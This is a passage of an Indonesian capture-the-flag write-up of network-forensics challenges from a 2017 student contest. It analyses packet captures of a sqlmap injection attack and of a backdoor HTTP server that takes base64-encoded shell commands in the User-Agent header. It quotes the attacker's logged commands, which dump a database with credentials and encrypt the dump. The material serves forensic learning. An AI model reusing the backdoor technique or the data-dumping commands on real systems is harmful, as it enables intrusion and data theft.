7:76:f2:b1:a5:6e:83:61:cb:50:37:93:c7:18:48:bb:43:ae:3f:9a:a8:9d:e0:19:da:45
:ab:ae:9c:c0:1a:01:79:63:91:d4:87:c1:c2:31:0c:94:b4:cf:ec:37:90:6e:c8:c1:cd:
65:4c:9d:4d:a6:a3:79:05:11:04:2d:fb:cc:a8:6f:5c:bb:bc:14:63:97:3a:8c:6a:35:6
6:cb:30:d3:d4:94:03:80:a3:e7:79:93:1f:9f:dd:a5:94:aa:e5:69:2c:66:6d:3e:1e:50
:00:cf:03:a4:c8:3b:75:80:5e:20:9f:e1:08:9e:f5:82:f6:33:c3:9b:22:c5:48:68:d7:
e2:0a:c4:4e:a5:22:14:ca:17:d9:81:7d:b9:0b:f6:60:c2:8f:54:59:42:d2:00:a4:f8:4
0:5f:68:5c:0e:16:00:c7:76:31:6c:d4:98:30:33:35:67:4a:fa:aa:83:78:25:fe:8b:33
:55:8b:3d:8b:7b:33:d0:ba:e6:1c:a2:a9:d9:96:72:c9:79:01:40:11:0b:bf:7a:fb:cc:
6a:e7:60:7e:af:c2:af:b4:86:ac:77:97:a4:50:4b:07:08:e1:52:db:ed:8f:02:00:00:0
c:06:00:00:50:4b:01:02:1e:03:14:00:09:00:08:00:3b:7b:d3:4a:e1:52:db:ed:8f:02
:00:00:0c:06:00:00:09:00:18:00:00:00:00:00:01:00:00:00:a4:81:00:00:00:00:65:
78:70:6c:6f:69:74:2e:63:55:54:05:00:03:91:8a:47:59:75:78:0b:00:01:04:f5:01:0
0:00:04:14:00:00:00:50:4b:05:06:00:00:00:00:01:00:01:00:4f:00:00:00:e2:02:00
:00:00:00' 
 
hx​ ​=​ ​hx.replace(':','') 
 
f​ ​=​ ​open('coba.zip','wb') 
f.write(hx.decode('hex')) 
f.close() 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Kemudian​ ​kami​ ​mendapatkan​ ​file​ ​coba.zip​ ​yang​ ​mana​ ​adalah​ ​file​ ​dari 
exploit.zip.​ ​Saat​ ​kami​ ​coba​ ​untuk​ ​extract​ ​ternyata​ ​dibutuhkan​ ​password. 
Kembali​ ​ke​ ​pcapng​ ​nya​ ​lagi,​ ​kami​ ​coba​ ​untuk​ ​menemukan​ ​passwordnya.​ ​Pada​ ​paket 
231​ ​terdapat​ ​aktivitas​ ​unzip​ ​exploit.zip,​ ​maka​ ​dari​ ​itu​ ​passwordnya​ ​pasti 
tidak​ ​jauh​ ​dari​ ​paket​ ​tersebut.​ ​Kemudian​ ​kami​ ​coba​ ​follow​ ​aktivitas​ ​TCP​ ​nya 
dan​ ​didapatkan​ ​3​ ​string​ ​yang​ ​sepertinya​ ​merupakan​ ​password​ ​dari​ ​exploit.zip 
yang​ ​mana​ ​aktivitasnya​ ​adalah​ ​sebagai​ ​berikut: 
unzip​ ​exploit.zip 
w00tqwertyzipethy 
w00tqwertyzipey 
w00tqwertziphey 

Kemudian​ ​kami​ ​coba​ ​untuk​ ​memasukkan​ ​password​ ​w00tqwertziphey​ ​dan​ ​didapatkan 


file​ ​exploit.c​ ​dan​ ​kami​ ​mendapatkan​ ​potongan​ ​kode​ ​yang​ ​kami​ ​curigai​ ​mengandung 
flag 

while​ ​((read_size​ ​=​ ​recv(client_sock​ ​,​ ​client_message​ ​,​ ​2000​ ​,​ ​0))​ ​>​ ​0)​ ​{ 

​ ​ ​ ​ ​ ​ ​ ​ ​l​ ​=​ ​read_size​ ​-​ ​1; 

​ ​ ​ ​ ​ ​ ​ ​ ​strcpy(content,​ ​"GEMASTIK{"); 

​ ​ ​ ​ ​ ​ ​ ​ ​st​ ​=​ ​strlen(content); 

​ ​ ​ ​ ​ ​ ​ ​ ​for​ ​(i​ ​=​ ​st;​ ​i​ ​<​ ​st​ ​+​ ​l;​ ​i++)​ ​{ 

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​content[i]​ ​=​ ​client_message[i​ ​-​ ​st]​ ​^​ ​0x6E; 

​ ​ ​ ​ ​ ​ ​ ​ ​} 

​ ​ ​ ​ ​ ​ ​ ​ ​content[st​ ​+​ ​l]​ ​=​ ​'}'; 

​ ​ ​ ​ ​ ​ ​ ​ ​content[st​ ​+​ ​l​ ​+​ ​1]​ ​=​ ​0; 


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​ ​ ​ ​ ​ ​ ​fp​ ​=​ ​fopen("/tmp/flag",​ ​"w+"); 

​ ​ ​ ​ ​ ​ ​ ​ ​fputs(content,​ ​fp); 

​ ​ ​ ​ ​ ​ ​ ​ ​fclose(fp); 

Dari​ ​potongan​ ​kode​ ​tersebut​ ​kami​ ​dapat​ ​menyimpulkan​ ​bahwa​ ​dari​ ​input 
clientnya,​ ​stringnya​ ​akan​ ​dixor​ ​dengan​ ​hex​ ​0x6E​ ​kemudian​ ​hasilnya​ ​akan 
disimpan​ ​pada​ ​/tmp/flag​ ​dengan​ ​ditambahkan​ ​string​ ​GEMASTIK{}​ ​diantaranya. 
Kemudian​ ​kembali​ ​ke​ ​pcapng​ ​kami​ ​ingin​ ​mencari​ ​string​ ​yang​ ​menjadi​ ​input​ ​dan 
kami​ ​temukan​ ​pada​ ​paket​ ​243​ ​dan​ ​246,​ ​client​ ​mencoba​ ​untuk​ ​compile​ ​dan​ ​run​ ​dari 
exploit.c​ ​nya,​ ​kemudian​ ​pada​ ​paket​ ​251​ ​kami​ ​mendapatkan​ ​data​ ​yang​ ​kami​ ​curigai 
adalah​ ​data​ ​input​ ​dari​ ​client​ ​(client_message).​ ​Kemudian​ ​kami​ ​coba​ ​ambil​ ​nilai 
hex​ ​dari​ ​data​ ​tersebut​ ​dan​ ​kami​ ​buat​ ​kode​ ​python​ ​untuk​ ​melakukan​ ​xor​ ​dengan 
nilai​ ​hex​ ​0x6E​ ​untuk​ ​mendapatkan​ ​flagnya 

Kami​ ​buat​ ​code​ ​python​ ​solve-client.py 

hx​ ​= 
'0b:00:0d:01:0a:0b:1c:31:07:1d:31:01:08:1a:0b:00:31:1b:1d:0b:0a:31:0c:17:31:
0c:0f:0d:05:0a:01:01:1c:31:01:1c:31:0b:16:1e:02:01:07:1a:31:1a:01:31:0f:18:0
1:07:0a:31:07:0a:1d:31:01:1c:31:0f:18:0a' 
 
ans='' 
 
arr​ ​=​ ​hx.split(':') 
for​ ​i​ ​in​ ​arr: 
​ ​ ​ ​ ​ans+=​ ​chr(ord(i.decode('hex'))^0x6E) 
 
print​ ​ans 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Kami​ ​mendapatkan​ ​output 


encoder_is_often_used_by_backdoor_or_exploit_to_avoid_ids_or_avd.​ ​Dengan 
menambahkan​ ​string​ ​Gemastik​ ​diantaranya​ ​kami​ ​coba​ ​submit​ ​flag 
GEMASTIK{encoder_is_often_used_by_backdoor_or_exploit_to_avoid_ids_or_avd}. 

Tetapi​ ​kami​ ​mendapatkan​ ​status​ ​Incorrect​ ​sampai​ ​akhirnya​ ​kami​ ​tanya​ ​kepada 
admin​ ​dan​ ​admin​ ​(terima​ ​kasih​ ​admin​ ​:D)​ ​memberikan​ ​hint​ ​yang​ ​mana​ ​kami​ ​harus 
cek​ ​ulang​ ​mana​ ​hex​ ​input​ ​yang​ ​valid.​ ​Kemudian​ ​saat​ ​kami​ ​cek​ ​ternyata​ ​terdapat 
nilai​ ​hex​ ​pada​ ​inputan​ ​yang​ ​tidak​ ​perlu​ ​diambil​ ​yaitu​ ​0a​ ​yang​ ​berarti​ ​newline. 
Dengan​ ​menghapus​ ​nilai​ ​hex​ ​tersebut​ ​kami​ ​mendapatkan​ ​flag​ ​yang​ ​benar 

Flag​ ​: 
GEMASTIK{encoder_is_often_used_by_backdoor_or_exploit_to_avoid_ids_or_av} 

Soal​ ​3​ ​:​ ​SQLMAP​ ​(125​ ​pts) 


 

"Sebuah​ ​situs​ ​baru​ ​saja​ ​diserang​ ​menggunakan​ ​SQL​ ​Injection.​ ​Dari​ ​log​ ​yang​ ​ada,​ ​terlihat
sepertinya​ ​penyerang​ ​menggunakan​ ​sqlmap.​ ​Penyerang​ ​mungkin​ ​saja​ ​script​ ​kiddie​ ​(atau​ ​bisa
juga​ ​tidak).​ ​Anda​ ​tentu​ ​saja​ ​sebagai​ ​hacker​ ​yang​ ​andal​ ​bukanlah​ ​script​ ​kiddie.​ ​Dapatkah​ ​Anda
menyimpulkan​ ​informasi​ ​apa​ ​yang​ ​diperoleh​ ​sqlmap​ ​penyerang?"

Target​ ​:​ ​https​:​//drive.google.com/file/d/0B-sUzED2jbOyTTJBd1FTcUdFa0U/view?usp=sharing

Solusi  

Didapatkan​ ​file​ ​sqlmap.pcap​ ​sebesar​ ​29mb,​ ​yang​ ​cukup​ ​berat​ ​untuk​ ​dibuka​ ​di 
wireshark​ ​.​ ​Kami​ ​membuka​ ​dengan​ ​wireshark​ ​untuk​ ​mengetahui​ ​apa​ ​saja​ ​request 
yang​ ​ada.​ ​Berikut​ ​file​ ​jika​ ​dibuka​ ​dengan​ ​wireshark​ ​:  
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Dapat​ ​diketahui​ ​bahwa​ ​file​ ​berisi​ ​request​ ​HTTP​ ​dan​ ​TCP​ ​yang​ ​merupakan 
penyerangan​ ​dengan​ ​SQLMAP​ ​(dilihat​ ​dari​ ​judul​ ​soal).​ ​Agar​ ​tidak​ ​berat​ ​maka 
dilakukan​ ​beberapa​ ​hal​ ​berikut​ ​: 

1. $​ ​tshark​ ​-r​ ​sqlmap.pcap​ ​-Y​ ​"http.request.method​ ​==​ ​GET"​ ​>​ ​sqlmap_get 


2. Kami​ ​hanya​ ​tertarik​ ​pada​ ​query​ ​yang​ ​menyangkut​ ​flag​ ​maka​ ​dilakukan​ ​grep 
:​ ​$cat​ ​sqlmap_get​ ​|​ ​grep​ ​flag​ ​>​ ​sqlmap_get_flag 

Pada​ ​query​ ​flag​ ​ini,​ ​sqlmap​ ​melakukan​ ​binary​ ​search​ ​untuk​ ​menebak​ ​satu​ ​per 
satu​ ​karakter.​ ​Penebakan​ ​oleh​ ​sqlmap​ ​ini​ ​dimulai​ ​dengan​ ​apakah​ ​karakter​ ​itu 
>64.​ ​Mengetahui​ ​hal​ ​ini​ ​kami​ ​membuat​ ​script​ ​untuk​ ​mengambil​ ​semua​ ​tebakan 
sebeleum​ ​>64​ ​(​ ​yaitu​ ​tebakan​ ​yang​ ​menghasilkan​ ​nilai​ ​benar​ ​terakhir​ ​).​ ​Karena 
kami​ ​tidak​ ​mengetahui​ ​pasti​ ​karakter​ ​yang​ ​ditebak​ ​(bisa​ ​miss​ ​±​ ​1​ ​),​ ​akan 
terdapat​ ​sedikit​ ​guessing.  

Script​ ​:  

import​​ ​re

import​​ ​urllib

f​ ​=​ ​open​(​'sqlmap_get_flag'​).​read​()

f​ ​=​ ​urllib​.​unquote​(​f​).​split​(​'\n')

flag_int​ ​=​ ​[]


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

for​​ ​i​ ​in​​ ​range​(​len​(​f​)):

​ ​ ​ ​ ​if​​ ​'>64'​​ ​in​​ ​f​[​i​]:

​ ​ ​ ​ ​ ​ ​ ​ ​flag_int​.​append​(​int​(​re​.​findall​(​'>(\d*)​ ​'​,​f​[​i​-​1​])[​0​]))

flag​ ​=​ ​''

flagplus1​ ​=​ ​''

for​​ ​i​ ​in​​ ​flag_int​[​1​:]:

​ ​ ​ ​ ​flag​ ​+=​​ ​chr​(​i)

​ ​ ​ ​ ​flagplus1​ ​+=​​ ​chr​(​i​+​1)

print​​ ​flag

print​​ ​flagplus1 

Output​ ​:  

GEMASSIK{kmow_sge_comceos_mos_sge_sooks!} 

HFNBTTJL|lnpx`thf`dpndfpt`npt`thf`tpplt"~ 

Setelah​ ​melakukan​ ​sedikit​ ​guessing. 

FLAG:​ ​GEMASTIK{know_the_concept_not_the_tools!} 

Soal​ ​4​ ​:​ ​Network​ ​Forensic​ ​2​ ​(150​ ​pts) 


 

"Kabar​ ​mengenai​ ​keahlian​ ​Anda​ ​untuk​ ​melakukan​ ​digital​ ​forensic​ ​telah​ ​tersebar.​ ​Anda​ ​diundang
kembali​ ​untuk​ ​melakukan​ ​analisis​ ​post-incident​ ​untuk​ ​kasus​ ​berbeda.​ ​Tersedia​ ​berkas​ ​paket
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

data​ ​jaringan​ ​yang​ ​mencurigakan.​ ​Sekilas​ ​memang​ ​terlihat​ ​ada​ ​yang​ ​aneh.​ ​Anda​ ​pun​ ​harus
menganalisis​ ​lebih​ ​lanjut​ ​untuk​ ​mengetahui​ ​apa​ ​yang​ ​terjadi."

Solusi  

Diberikan​ ​file​ ​network-forensic2.pcap,​ ​berisi​ ​berbagai​ ​lalu​ ​lintas​ ​jaringan 


dengan​ ​protocol​ ​TCP​ ​dan​ ​HTTP.​ ​Dengan​ ​menggunakan​ ​TCP​ ​follow,​ ​kami​ ​tahu​ ​bahwa 
ada​ ​25​ ​stream.​ ​Ada​ ​beberapa​ ​file​ ​http​ ​yang​ ​dapat​ ​diextract​ ​mengguanakan​ ​fitur 
wireshark​ ​yaitu​ ​File​ ​>​ ​Export​ ​Objects​ ​>​ ​HTTP.  

Untuk​ ​menghemat​ ​halaman,​ ​ringkasan​ ​dari​ ​ke​ ​25​ ​stream​ ​yaitu​ ​sebagai​ ​berikut​ ​:  

C​ ​:​ ​192.168.56.1​ ​(client),​ ​S​ ​:​ ​192.168.56.101​ ​(server) 

1. Stream​ ​1-8​ ​berisi​ ​client​ ​sedang​ ​membenarkan​ ​http.py,​ ​dan​ ​beberapa 


komunikasi​ ​yang​ ​tidak​ ​penting 
2. Stream​ ​9​ ​memberikan​ ​kami​ ​gemastikkarta.py,​ ​yaitu​ ​custom​ ​http​ ​server​ ​yang 
unik.​ ​Http​ ​server​ ​ini​ ​akan​ ​menerima​ ​command​ ​linux​ ​dari​ ​header​ ​User​ ​Agent 
:​ ​GEMASTIK-{b64encoded​ ​command},​ ​dan​ ​akan​ ​merespon​ ​hasilnya​ ​dengan 
menggunakan​ ​http​ ​header​ ​Status​ ​:​ ​{b64encoded​ ​linux​ ​response} 
3. Stream​ ​9-25​ ​berisi​ ​http​ ​request,​ ​yang​ ​mengandung​ ​command​ ​linux​ ​dan 
responsenya​ ​yang​ ​ada. 

(Script​ ​decode​ ​base64) 

def​​ ​translate​(​s​):

​ ​ ​ ​ ​s​ ​=​ ​s​.​decode​(​'base64')

​ ​ ​ ​ ​h​ ​=​ ​''

​ ​ ​ ​ ​for​​ ​c​ ​in​​ ​s:

​ ​ ​ ​ ​ ​ ​ ​ ​h​ ​+=​​ ​chr​(​255​-​ord​(​c​))


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​ ​ ​return​​ ​h

useragent​ ​=​ ​raw_input​(​'ua:')

content​ ​=​ ​raw_input​(​'content​ ​:​ ​')

print​​ ​translate​(​useragent)

print​​ ​translate​(​content) 

Kami​ ​melakukan​ ​decode​ ​base64(dengan​ ​script​ ​diatas)​ ​untuk​ ​semua​ ​http​ ​request 
yang​ ​ada​ ​,​ ​berikut​ ​hasilnya​ ​(beberapa​ ​hasil​ ​ada​ ​yang​ ​dipotong​ ​untuk​ ​menghemat 
halaman):  

Command​ ​=>  

mysqldump​ ​--user='loki'​ ​--password='loki104104'​ ​loki​ ​secret​ ​>​ ​secret.sql 

Response​ ​=>  

mysqldump:​ ​[Warning]​ ​Using​ ​a​ ​password​ ​on​ ​the​ ​command​ ​line​ ​interface​ ​can​ ​be 
insecure. 

Command​ ​=>  

openssl​ ​rsa​ ​-passin​ ​'pass:hadehhhhhhhhh'​ ​-in​ ​hadehhh​ ​-outform​ ​PEM​ ​-pubout​ ​-out 
hadehhhhhhh 

Response​ ​=>  

writing​ ​RSA​ ​key 

Command​ ​=> 

cat​ ​had* 

Response​ ​=> 

-----BEGI​ ​RSA​ ​PRIVATE​ ​KEY----- 

Proc-Type:​ ​4,ENCRYPTED 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

DEK-Info:​ ​AES-256-CBC,F8C7EF1D8B102BFFF67ECE001565596D 

WzF4e/60xVmlQ13f9MtfrN2Y/lxDbH7fnw3WwHNfVVhMz3o2kWx3DiEa2eSHx+aP 

(dipotong) 

-----BEGIN​ ​PUBLIC​ ​KEY----- 

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0Orw2yYuwlb9Cyq5c+17 

(dipotong) 

Command​ ​:  

openssl​ ​rand​ ​-base64​ ​128​ ​-out​ ​key.bin 

Response:​ ​- 

Command​ ​:  

openssl​ ​enc​ ​-aes-256-cbc​ ​-salt​ ​-in​ ​secret.sql​ ​-out​ ​secret.sql.enc​ ​-pass 


file:./key.bin 

Response​ ​:​ ​- 

Command​ ​:​ ​cat​ ​secret.sql.enc​ ​|​ ​base64 

Response: 

U2FsdGVkX18iXlpVdO6JX2h7Pg+28q0QYyuUbXPJ2gftlSLoAUPeXAg9K/ahXi2CwE4okYsXdjgD 

(dipotong) 

Command​ ​: 

openssl​ ​rsautl​ ​-encrypt​ ​-inkey​ ​hadehhhhhhh​ ​-pubin​ ​-in​ ​key.bin​ ​-out​ ​key.bin.enc 

Response​ ​:​ ​- 


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Command​ ​:  

cat​ ​key.bin.enc​ ​|​ ​base64 

Response​ ​:  

duzkoLCH/f2vtSDHBrDgeBnGaildO+XLRT2y4yyE4+j4oTy+PWd9v3k+AEY7j8bSZwwo64I6+vX0 

(dipotong) 

Kemudian​ ​dilakukan​ ​beberapa​ ​command​ ​berikut​ ​dengan​ ​tujuan​ ​untuk​ ​mendapatkan 


secret.sql​ ​:  

1. Membuat​ ​file​ ​hadehhh(private​ ​key)​ ​:​ ​$printf​ ​“---BEGIN…(dipotong)”​ ​> 


hadehh 
2. Membuat​ ​file​ ​hadehhhhhhh(public​ ​key)​ ​:​ ​$printf​ ​“---BEGIN…(dipotong)”​ > ​  
hadehhhhhhh 
3. Membuat​ ​file​ ​secret.sql.enc​ ​ ​:​ ​$printf​ ​“{base64encoded}”​ ​|​ ​base64​ ​-d​ >​  
secret.sql.enc 
4. Membuat​ ​file​ ​key.bin.enc​ ​:​ ​$printf​ ​“{base64encoded}”​ ​|​ ​base64​ ​-d​ ​> 
key.bin.enc 
5. Melakukan​ ​dekripsi​ ​key.bin​ ​:​ ​$openssl​ ​rsautl​ ​-decrypt​ ​-passin 
'pass:hadehhhhhhhhh'​ ​-inkey​ ​hadehhh​ ​-in​ ​key.bin.enc​ ​-out​ ​key.bin 
6. Melakukan​ ​dekripsi​ ​secret.sql​ ​:​ ​$openssl​ ​aes-256-cbc​ ​-d​ ​-salt​ ​-in 
secret.sql.enc​ ​-out​ ​secret.sql​ ​-pass​ ​file:./key.bin 

Buka​ ​file​ ​secret.sql,​ ​dan​ ​dapatkan​ ​flagnya.  

FLAG​ ​: 
GEMASTIK{practical_hacking_and_forensic_investigator_not_multiple_choice} 

   
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Anda mungkin juga menyukai